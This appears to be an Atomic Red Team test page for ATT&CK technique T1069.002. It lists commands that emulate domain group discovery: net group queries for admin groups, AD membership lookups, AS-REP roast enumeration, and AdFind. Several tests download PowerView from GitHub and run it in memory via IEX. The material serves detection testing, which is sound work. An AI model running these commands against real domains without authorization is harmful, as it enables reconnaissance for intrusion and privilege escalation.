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T1069.002 - Domain Groups

Description from ATT&CK

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Commands such as net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.

Atomic Tests


Atomic Test #1 - Basic Permission Groups Discovery Windows (Domain)

Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

Attack Commands: Run with command_prompt!

net localgroup
net group /domain
net group "domain admins" /domain
net group "enterprise admins" /domain


Atomic Test #2 - Permission Groups Discovery PowerShell (Domain)

Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
user User to identify what groups a user is a member of string administrator

Attack Commands: Run with powershell!

get-ADPrincipalGroupMembership #{user} | select name


Atomic Test #3 - Elevated group enumeration using net group (Domain)

Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

Attack Commands: Run with command_prompt!

net group /domai "Domain Admins"
net groups "Account Operators" /doma
net groups "Exchange Organization Management" /doma
net group "BUILTIN\Backup Operators" /doma


Atomic Test #4 - Find machines where user has local admin access (PowerView)

Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.

Supported Platforms: Windows

Attack Commands: Run with powershell!

IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose


Atomic Test #5 - Find local admins on all machines in domain (PowerView)

Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.

Supported Platforms: Windows

Attack Commands: Run with powershell!

IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin  -Verbose


Atomic Test #6 - Find Local Admins via Group Policy (PowerView)

takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
computer_name hostname of the computer to analyze Path $env:COMPUTERNAME

Attack Commands: Run with powershell!

IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose


Atomic Test #7 - Enumerate Users Not Requiring Pre Auth (ASRepRoast)

When successful, accounts that do not require kerberos pre-auth will be returned

Supported Platforms: Windows

Attack Commands: Run with powershell!

get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}

Dependencies: Run with powershell!

Description: Computer must be domain joined.
Check Prereq Commands:
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
Get Prereq Commands:
Write-Host Joining this computer to a domain must be done manually.
Description: Requires the Active Directory module for powershell to be installed.
Check Prereq Commands:
if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
Get Prereq Commands:
Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"


Atomic Test #8 - Adfind - Query Active Directory Groups

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
adfind_path Path to the AdFind executable Path PathToAtomicsFolder\T1087.002\src\AdFind.exe

Attack Commands: Run with command_prompt!

#{adfind_path} -f (objectcategory=group)

Dependencies: Run with powershell!

Description: AdFind.exe must exist on disk at specified location (#{adfind_path})
Check Prereq Commands:
if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
Get Prereq Commands:
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe" -OutFile #{adfind_path}